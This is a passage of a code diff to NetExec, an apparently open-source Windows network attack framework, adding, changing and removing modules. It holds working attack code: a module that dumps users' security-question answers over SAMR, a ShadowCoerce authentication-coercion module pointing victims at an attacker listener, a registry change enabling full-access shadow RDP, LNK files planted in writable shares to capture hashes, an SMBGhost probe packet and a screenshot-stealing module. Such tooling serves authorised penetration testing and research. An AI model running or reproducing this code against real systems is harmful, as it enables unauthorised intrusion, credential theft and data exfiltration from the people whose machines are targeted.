             dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
             dce.bind(tsch.MSRPC_UUID_TSCHS)
-            tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
+            tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
         except Exception as e:
             if "ERROR_NONE_MAPPED" in str(e):
                 self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
-                with contextlib.suppress(Exception):
-                    tsch.hSchRpcDelete(dce, f"\\{self.task}")
-            elif e.error_code and hex(e.error_code) == "0x80070005":
-                self.logger.fail("Create schedule task got blocked.")
-                with contextlib.suppress(Exception):
-                    tsch.hSchRpcDelete(dce, f"\\{self.task}")
-            elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
+            if e.error_code and hex(e.error_code) == "0x80070005":
+                self.logger.fail("Schtask_as: Create schedule task got blocked.")
+            if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
                 self.logger.fail(f"User {self.user} does not exist in the domain.")
-                with contextlib.suppress(Exception):
-                    tsch.hSchRpcDelete(dce, f"\\{self.task}")
-            elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
-                with contextlib.suppress(Exception):
-                    tsch.hSchRpcDelete(dce, f"\\{self.task}")
-            elif "ERROR_ALREADY_EXISTS" in str(e):
-                self.logger.fail(f"Create schedule task failed: {e}")
             else:
-                self.logger.fail(f"Create schedule task failed: {e}")
-                with contextlib.suppress(Exception):
-                    tsch.hSchRpcDelete(dce, f"\\{self.task}")
+                self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
             return
+        else:
+            taskCreated = True
+
+        self.logger.info(f"Running task \\{tmpName}")
+        tsch.hSchRpcRun(dce, f"\\{tmpName}")
 
         done = False
         while not done:
-            self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
-            resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
+            self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
+            resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
             if resp["pLastRuntime"]["wYear"] != 0:
                 done = True
             else:
                 sleep(2)
 
-        self.logger.info(f"Deleting task \\{self.task}")
-        tsch.hSchRpcDelete(dce, f"\\{self.task}")
+        self.logger.info(f"Deleting task \\{tmpName}")
+        tsch.hSchRpcDelete(dce, f"\\{tmpName}")
+        taskCreated = False
+
+        if taskCreated is True:
+            tsch.hSchRpcDelete(dce, f"\\{tmpName}")
 
         if self.__retOutput:
             if fileless:
                 while True:
                     try:
-                        with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
+                        with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
                             self.output_callback(output.read())
                         break
                     except OSError:

nxc/modules/scuffy.py

@@ -1,6 +1,5 @@
 import ntpath
 from sys import exit
-from nxc.paths import TMP_PATH
 
 
 class NXCModule:
@@ -45,7 +44,7 @@ class NXCModule:
             exit(1)
 
         self.scf_name = module_options["NAME"]
-        self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
+        self.scf_path = f"/tmp/{self.scf_name}.scf"
         self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
 
         if not self.cleanup:

nxc/modules/security-questions.py

@@ -1,134 +0,0 @@
-from impacket.dcerpc.v5 import samr, transport
-from impacket.nt_errors import STATUS_MORE_ENTRIES
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from json import loads
-from traceback import format_exc as traceback_format_exc
-
-class NXCModule:
-    """
-    Module by Adamkadaban: @Adamkadaban
-    Based on research from @0gtweet (@gtworek)
-
-    Much of this code was copied from add_computer.py
-    Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
-    """
-
-    name = "security-questions"
-    description = "Gets security questions and answers for users on computer"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def options(self, context, module):
-        pass
-
-    def on_admin_login(self, context, connection):
-        self.__domain = connection.domain
-        self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.hostname + "." + connection.domain
-        self.__target = self.__kdcHost
-        self.__username = connection.username
-        self.__password = connection.password
-        self.__targetIp = connection.host
-        self.__port = context.smb_server_port
-        self.__aesKey = context.aesKey
-        self.__hashes = context.hash
-        self.__doKerberos = connection.kerberos
-        self.__nthash = ""
-        self.__lmhash = ""
-
-        if context.hash and ":" in context.hash[0]:
-            hashList = context.hash[0].split(":")
-            self.__nthash = hashList[-1]
-            self.__lmhash = hashList[0]
-        elif context.hash and ":" not in context.hash[0]:
-            self.__nthash = context.hash[0]
-            self.__lmhash = "00000000000000000000000000000000"
-
-        self.getSAMRResetInfo(context)
-
-    def getSAMRResetInfo(self, context):
-        string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
-        rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.set_dport(445)
-        rpc_transport.setRemoteHost(self.__targetIp)
-
-        if hasattr(rpc_transport, "set_credentials"):
-            # This method exists only for selected protocol sequences.
-            rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
-                                         self.__nthash, self.__aesKey)
-        rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
-
-        try:
-            dce = rpc_transport.get_dce_rpc()
-            dce.connect()
-            dce.bind(samr.MSRPC_UUID_SAMR)
-
-            # obtain server handle for samr connection
-            resp = samr.hSamrConnect(dce)
-            server_handle = resp["ServerHandle"]
-
-            resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
-            domains = resp["Buffer"]["Buffer"]
-
-            resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
-
-            # obtain domain handle for samr connection
-            resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
-            domain_handle = resp["DomainHandle"]
-
-            status = STATUS_MORE_ENTRIES
-            enumeration_context = 0
-
-            # try to iterate through users in domain entries for connection
-            while status == STATUS_MORE_ENTRIES:
-                try:
-                    resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
-                except DCERPCException as e:
-                    if str(e).find("STATUS_MORE_ENTRIES") < 0:
-                        raise 
-                    resp = e.get_packet()
-
-                for user in resp["Buffer"]["Buffer"]:
-                    try:
-                        context.log.info(f"Querying security questions for User: {user['Name']}")
-                        # request SAMR ID 30
-                        # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
-                        r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
-                        info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
-
-                        reset_data = info["Buffer"]["Reset"]["ResetData"]
-                        if reset_data == b"":
-                            continue
-                        reset_data = loads(reset_data)
-                        questions = reset_data["questions"]
-
-                        if len(questions) == 0:
-                            context.log.highlight(f"User {user['Name']} has no security questions")
-                        else:
-                            for qna in questions:
-                                question = qna["question"]
-                                answer = qna["answer"]
-                                context.log.highlight(f"{user['Name']} - {question}: {answer}")
-
-                        samr.hSamrCloseHandle(dce, r["UserHandle"])
-                    except samr.DCERPCException as e:
-                        if "STATUS_INVALID_INFO_CLASS" in str(e):
-                            context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
-                            continue
-                        else:
-                            context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
-                            context.log.debug(traceback_format_exc())
-                enumeration_context = resp["EnumerationContext"]
-                status = resp["ErrorCode"]
-
-        except Exception as e:
-            context.log.fail(f"Error: {e}")
-            context.log.debug(traceback_format_exc())
-
-        finally:
-            if domain_handle is not None:
-                samr.hSamrCloseHandle(dce, domain_handle)
-            if server_handle is not None:
-                samr.hSamrCloseHandle(dce, server_handle)
-            dce.disconnect()

nxc/modules/shadowcoerce.py

@@ -1,6 +1,22 @@
+import time
+from impacket import system_errors
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.ndr import NDRCALL
+from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.rpcrt import (
+    RPC_C_AUTHN_WINNT,
+    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+    RPC_C_AUTHN_GSS_NEGOTIATE,
+)
+from impacket.smbconnection import SessionError
+from nxc.logger import nxc_logger
+
+
 class NXCModule:
     name = "shadowcoerce"
-    description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
+    description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
@@ -19,4 +35,241 @@ class NXCModule:
             self.ipsc = bool(module_options["IPSC"])
 
     def on_login(self, context, connection):
-        context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+        c = CoerceAuth()
+        dce = c.connect(
+            username=connection.username,
+            password=connection.password,
+            domain=connection.domain,
+            lmhash=connection.lmhash,
+            nthash=connection.nthash,
+            aesKey=connection.aesKey,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            pipe="FssagentRpc",
+            doKerberos=connection.kerberos,
+            dcHost=connection.kdcHost,
+        )
+
+        # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
+        if dce == 1:
+            context.log.debug("First try failed. Creating another dce connection...")
+            # Sleeping mandatory for second try
+            time.sleep(2)
+            dce = c.connect(
+                username=connection.username,
+                password=connection.password,
+                domain=connection.domain,
+                lmhash=connection.lmhash,
+                nthash=connection.nthash,
+                aesKey=connection.aesKey,
+                target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+                pipe="FssagentRpc",
+            )
+
+        if self.ipsc:
+            context.log.debug("ipsc = %s", self.ipsc)
+            context.log.debug("Using IsPathShadowCopied!")
+            result = c.IsPathShadowCopied(dce, self.listener)
+        else:
+            context.log.debug("ipsc = %s", self.ipsc)
+            context.log.debug("Using the default IsPathSupported")
+            result = c.IsPathSupported(dce, self.listener)
+
+        try:
+            dce.disconnect()
+        except SessionError as e:
+            context.log.debug(f"Error disconnecting DCE session: {e}")
+
+        if result:
+            context.log.highlight("VULNERABLE")
+            context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
+
+        else:
+            context.log.debug("Target not vulnerable to ShadowCoerce")
+
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__(self):
+        key = self.error_code
+        error_messages = system_errors.ERROR_MESSAGES
+        error_messages.update(MSFSRVP_ERROR_CODES)
+        if key in error_messages:
+            error_msg_short = error_messages[key][0]
+            error_msg_verbose = error_messages[key][1]
+            return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
+        else:
+            return f"SessionError: unknown error code: 0x{self.error_code:x}"
+
+
+################################################################################
+# Error Codes
+################################################################################
+MSFSRVP_ERROR_CODES = {
+    0x80070005: (
+        "E_ACCESSDENIED",
+        "The caller does not have the permissions to perform the operation",
+    ),
+    0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
+    0x80042301: (
+        "FSRVP_E_BAD_STATE",
+        "A method call was invalid because of the state of the server.",
+    ),
+    0x80042316: (
+        "FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
+        "A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
+    ),
+    0x8004230C: (
+        "FSRVP_E_NOT_SUPPORTED",
+        "The file store that contains the share to be shadow copied is not supported by the server.",
+    ),
+    0x00000102: (
+        "FSRVP_E_WAIT_TIMEOUT",
+        "The wait for a shadow copy commit or expose operation has timed out.",
+    ),
+    0xFFFFFFFF: (
+        "FSRVP_E_WAIT_FAILED",
+        "The wait for a shadow copy commit expose operation has failed.",
+    ),
+    0x8004230D: (
+        "FSRVP_E_OBJECT_ALREADY_EXISTS",
+        "The specified object already exists.",
+    ),
+    0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
+    0x8004231B: (
+        "FSRVP_E_UNSUPPORTED_CONTEXT",
+        "The specified context value is invalid.",
+    ),
+    0x80042501: (
+        "FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
+        "The provided ShadowCopySetId does not exist.",
+    ),
+}
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+class IsPathSupported(NDRCALL):
+    opnum = 8
+    structure = (("ShareName", WSTR),)
+
+
+class IsPathSupportedResponse(NDRCALL):
+    structure = (
+        ("SupportedByThisProvider", BOOL),
+        ("OwnerMachineName", LPWSTR),
+    )
+
+
+class IsPathShadowCopied(NDRCALL):
+    opnum = 9
+    structure = (("ShareName", WSTR),)
+
+
+class IsPathShadowCopiedResponse(NDRCALL):
+    structure = (
+        ("ShadowCopyPresent", BOOL),
+        ("ShadowCopyCompatibility", LONG),
+    )
+
+
+OPNUMS = {
+    8: (IsPathSupported, IsPathSupportedResponse),
+    9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
+}
+
+
+class CoerceAuth:
+    def connect(
+        self,
+        username,
+        password,
+        domain,
+        lmhash,
+        nthash,
+        aesKey,
+        target,
+        pipe,
+        doKerberos,
+        dcHost,
+    ):
+        binding_params = {
+            "FssagentRpc": {
+                "stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
+                "UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
+            },
+        }
+        rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
+        dce = rpctransport.get_dce_rpc()
+
+        if hasattr(rpctransport, "set_credentials"):
+            rpctransport.set_credentials(
+                username=username,
+                password=password,
+                domain=domain,
+                lmhash=lmhash,
+                nthash=nthash,
+                aesKey=aesKey,
+            )
+
+        dce.set_credentials(*rpctransport.get_credentials())
+        dce.set_auth_type(RPC_C_AUTHN_WINNT)
+        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+
+        if doKerberos:
+            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
+        nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
+
+        try:
+            dce.connect()
+        except Exception as e:
+            # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
+            if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
+                dce.disconnect()
+                return 1
+
+            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
+
+        nxc_logger.info("Connected!")
+        nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
+        try:
+            dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
+        except Exception as e:
+            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
+
+        nxc_logger.info("Successfully bound!")
+        return dce
+
+    def IsPathShadowCopied(self, dce, listener):
+        nxc_logger.debug("Sending IsPathShadowCopied!")
+        try:
+            request = IsPathShadowCopied()
+            # only NETLOGON and SYSVOL were detected working here
+            # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
+            request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
+            dce.request(request)
+        except Exception as e:
+            nxc_logger.debug("Something went wrong, check error status => %s", str(e))
+            nxc_logger.debug("Attack may of may not have worked, check your listener...")
+            return False
+
+        return True
+
+    def IsPathSupported(self, dce, listener):
+        nxc_logger.debug("Sending IsPathSupported!")
+        try:
+            request = IsPathSupported()
+            # only NETLOGON and SYSVOL were detected working here
+            # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
+            request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
+            dce.request(request)
+        except Exception as e:
+            nxc_logger.debug("Something went wrong, check error status => %s", str(e))
+            nxc_logger.debug("Attack may of may not have worked, check your listener...")
+            return False
+
+        return True

nxc/modules/shadowrdp.py

@@ -1,83 +0,0 @@
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-
-# Module by @Defte_
-# Enables or disables shadow RDP
-class NXCModule:
-    name = "shadowrdp"
-    description = "Enables or disables shadow RDP"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.action = None
-
-    def options(self, context, module_options):
-    
-        if "ACTION" not in module_options:
-            context.log.fail("ACTION option not specified!")
-            exit(1)
-
-        if module_options["ACTION"].lower() not in ["enable", "disable"]:
-            context.log.fail("ACTION must be either enable, disable or query")
-            exit(1)
-        self.action = module_options["ACTION"].lower()
-
-    def on_admin_login(self, context, connection):
-        try:
-            remoteOps = RemoteOperations(connection.conn, False)
-            remoteOps.enableRegistry()
-            if remoteOps._RemoteOperations__rrp:
-                ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
-                regHandle = ans["phKey"]
-
-                keyHandle = rrp.hBaseRegOpenKey(
-                    remoteOps._RemoteOperations__rrp,
-                    regHandle, 
-                    "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
-                )["phkResult"]
-
-                # Checks if the key already exists or not
-                try:
-                    rrp.hBaseRegQueryValue(
-                        remoteOps._RemoteOperations__rrp,
-                        keyHandle,
-                        "Shadow\x00"
-                    )
-                except Exception as e:
-                    if "ERROR_FILE_NOT_FOUND" in str(e):
-                        context.log.debug("here")
-                        ans = rrp.hBaseRegCreateKey(
-                            remoteOps._RemoteOperations__rrp,
-                            keyHandle,
-                            "Shadow\x00")
-
-                # Disable remote UAC
-                if self.action == "disable":
-                    rrp.hBaseRegSetValue(
-                        remoteOps._RemoteOperations__rrp,
-                        keyHandle,
-                        "Shadow\x00",
-                        rrp.REG_DWORD,
-                        0
-                    )
-                    context.log.highlight("Shadow RDP disabled")
-                
-                # Enable remote UAC
-                if self.action == "enable":
-                    rrp.hBaseRegSetValue(
-                        remoteOps._RemoteOperations__rrp,
-                        keyHandle,
-                        "Shadow\x00",
-                        rrp.REG_DWORD,
-                        2
-                    )
-                    context.log.highlight("Shadow RDP with full access enabled")
-
-        except Exception as e:
-            context.log.debug(f"Error {e}")
-        finally:
-            remoteOps.finish()

nxc/modules/slinky.py

@@ -1,100 +1,77 @@
 import pylnk3
 import ntpath
 from sys import exit
-from nxc.paths import TMP_PATH
+
 
 class NXCModule:
     """
     Original idea and PoC by Justin Angel (@4rch4ngel86)
     Module by @byt3bl33d3r
-    Updated by @Marshall-Hallenbeck
     """
 
     name = "slinky"
-    description = "Creates windows shortcuts with the icon attribute containing a URI to the specified  server (default SMB) in all shares with write permissions"
+    description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
     supported_protocols = ["smb"]
     opsec_safe = False
     multiple_hosts = True
 
-    def __init__(self):
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
         self.server = None
-        self.remote_file_path = None
-        self.local_lnk_path = None
+        self.file_path = None
+        self.lnk_path = None
         self.lnk_name = None
-        self.ico_uri = None
-        self.shares = None
-        self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
         self.cleanup = None
 
     def options(self, context, module_options):
-        r"""
-        SERVER        IP of the listening server (running Responder, etc)
-        NAME          LNK file name written to the share(s)
-        ICO_URI       Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
-        SHARES        Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
-        IGNORE        Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
+        """
+        SERVER        IP of the SMB server
+        NAME          LNK file name
         CLEANUP       Cleanup (choices: True or False)
         """
         self.cleanup = False
 
         if "CLEANUP" in module_options:
             self.cleanup = bool(module_options["CLEANUP"])
-            context.log.debug("Cleanup set to True")
 
         if "NAME" not in module_options:
             context.log.fail("NAME option is required!")
             exit(1)
-            
-        if "SHARES" in module_options:
-            self.shares = module_options["SHARES"].split(",")
-            context.log.debug(f"Shares to write to: {self.shares}")
-            
-        if "IGNORE" in module_options:
-            self.ignore_shares = module_options["IGNORE"].split(",")
-            context.log.debug(f"Ignoring shares: {self.ignore_shares}")
 
         if not self.cleanup and "SERVER" not in module_options:
             context.log.fail("SERVER option is required!")
             exit(1)
-            
-        if "ICO_URI" in module_options:
-            self.ico_uri = module_options["ICO_URI"]
-            context.log.debug("Overriding")
-            
-            
+
         self.lnk_name = module_options["NAME"]
-        self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
-        self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
+        self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
+        self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
 
         if not self.cleanup:
             self.server = module_options["SERVER"]
-            link = pylnk3.create(self.local_lnk_path)
-            link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
+            link = pylnk3.create(self.lnk_path)
+            link.icon = f"\\\\{self.server}\\icons\\icon.ico"
             link.save()
 
     def on_login(self, context, connection):
         shares = connection.shares()
-        if shares:
-            slinky_logger = context.log.init_log_file()
-            context.log.add_file_log(slinky_logger)
-            
-            for share in shares:
-                if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
-                    if self.shares is not None and share["name"] not in self.shares:
-                        context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
-                        continue
-                    
-                    context.log.success(f"Found writable share: {share['name']}")
-                    if not self.cleanup:
-                        with open(self.local_lnk_path, "rb") as lnk:
-                            try:
-                                connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
-                                context.log.success(f"Created LNK file on the {share['name']} share")
-                            except Exception as e:
-                                context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
-                    else:
+        for share in shares:
+            if "WRITE" in share["access"] and share["name"] not in [
+                "C$",
+                "ADMIN$",
+                "NETLOGON",
+            ]:
+                context.log.success(f"Found writable share: {share['name']}")
+                if not self.cleanup:
+                    with open(self.lnk_path, "rb") as lnk:
                         try:
-                            connection.conn.deleteFile(share["name"], self.remote_file_path)
-                            context.log.success(f"Deleted LNK file on the {share['name']} share")
+                            connection.conn.putFile(share["name"], self.file_path, lnk.read)
+                            context.log.success(f"Created LNK file on the {share['name']} share")
                         except Exception as e:
-                            context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+                            context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
+                else:
+                    try:
+                        connection.conn.deleteFile(share["name"], self.file_path)
+                        context.log.success(f"Deleted LNK file on the {share['name']} share")
+                    except Exception as e:
+                        context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")

nxc/modules/smbghost.py

@@ -1,58 +0,0 @@
-# everything is comming from https://github.com/ly4k/SMBGhost
-# credit to @ly4k_
-# module by : @r4vanan
-import socket
-import struct
-
-# Constants
-MAX_ATTEMPTS = 2000  # False negative chance: 0.04%
-
-# SMBGhost Packet
-SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
-
-class NXCModule:
-    name = "smbghost"
-    description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-
-    def options(self, context, module_options):
-        # Define options if needed
-        pass
-
-    def on_login(self, context, connection):
-        self.context = context
-        if self.perform_attack(connection.host):
-            self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
-
-    def perform_attack(self, target_ip):
-        self.context.log.debug("Performing SMBGhost check...")
-        try:
-            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
-                sock.settimeout(5)
-                sock.connect((target_ip, 445))
-                sock.send(SMBGHOST_PKT)
-
-                # Receive the first 4 bytes for length
-                nb_data = sock.recv(4)
-                if len(nb_data) < 4:
-                    self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
-                    return False
-
-                nb, = struct.unpack(">I", nb_data)
-                res = sock.recv(nb)
-
-                # Check response for vulnerability
-                if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
-                    return True
-                else:
-                    self.context.log.debug(f"{target_ip} Not vulnerable.")
-                    return False
-        except Exception as e:
-            self.context.log.fail(f"Error while connecting to host: {e}")
-            return False

nxc/modules/snipped.py

@@ -1,134 +0,0 @@
-import ntpath
-import os
-from os.path import join, getsize, exists
-from nxc.paths import NXC_PATH
-
-
-class NXCModule:
-
-    name = "snipped"
-    description = "Downloads screenshots taken by the (new) Snipping Tool."
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.context = None
-        self.module_options = None
-        self.excluded_files = ["desktop.ini"]
-
-    def options(self, context, module_options):
-        """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
-        self.context = context
-        self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
-
-
-
-    def on_admin_login(self, context, connection):
-        self.context = context
-        self.connection = connection
-        self.share = "C$"
-
-        output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
-        os.makedirs(output_base_dir, exist_ok=True)
-
-        context.log.info("Getting all user folders")
-        try:
-            user_folders = connection.conn.listPath(self.share, "\\Users\\*")
-        except Exception as e:
-            context.log.fail(f"Failed to list user folders: {e}")
-            return
-
-        context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
-        if not user_folders:
-            context.log.fail("No User folders found!")
-            return
-        else:
-            context.log.info("Attempting to download screenshots if they exist.")
-
-        total_files_downloaded = 0
-        host_output_path = None
-
-        for user_folder in user_folders:
-            folder_name = user_folder.get_longname()
-            if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
-                normalized_name = folder_name.lower()
-                if self.users and normalized_name not in self.users:
-                    continue
-
-                context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
-                screenshots_folders = self.find_screenshots_folders(folder_name)
-                if not screenshots_folders:
-                    context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
-                    continue
-
-                for screenshot_path in screenshots_folders:
-                    try:
-                        screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
-                    except Exception as e:
-                        context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
-                        continue
-
-                    if not screenshot_files:
-                        context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
-                        continue
-
-                    user_output_dir = join(output_base_dir, connection.host)
-                    os.makedirs(user_output_dir, exist_ok=True)
-                    host_output_path = user_output_dir
-
-                    for file in screenshot_files:
-                        if not file.is_directory():
-                            remote_file_name = file.get_longname()
-
-                            if remote_file_name.lower() in self.excluded_files:
-                                context.log.debug(f"Excluding file {remote_file_name}.")
-                                continue
-
-                            remote_file_path = ntpath.join(screenshot_path, remote_file_name)
-                            sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
-                            local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
-                            local_file_path = join(user_output_dir, local_file_name)
-
-                            try:
-                                with open(local_file_path, "wb") as local_file:
-                                    context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
-                                    connection.conn.getFile(self.share, remote_file_path, local_file.write)
-
-                                if not exists(local_file_path):
-                                    context.log.fail(f"Downloaded file '{local_file_path}' does not exist.")
-                                    continue
-
-                                file_size = getsize(local_file_path)
-                                if file_size == 0:
-                                    context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.")
-                                    os.remove(local_file_path)
-                                else:
-                                    total_files_downloaded += 1
-                            except Exception as e:
-                                context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
-
-        if total_files_downloaded > 0 and host_output_path:
-            context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
-                            
-
-    def find_screenshots_folders(self, user_folder_name):
-        """
-        Dynamically searches for all Screenshots folders in the user's home directory.
-        Returns a list of paths.
-        """
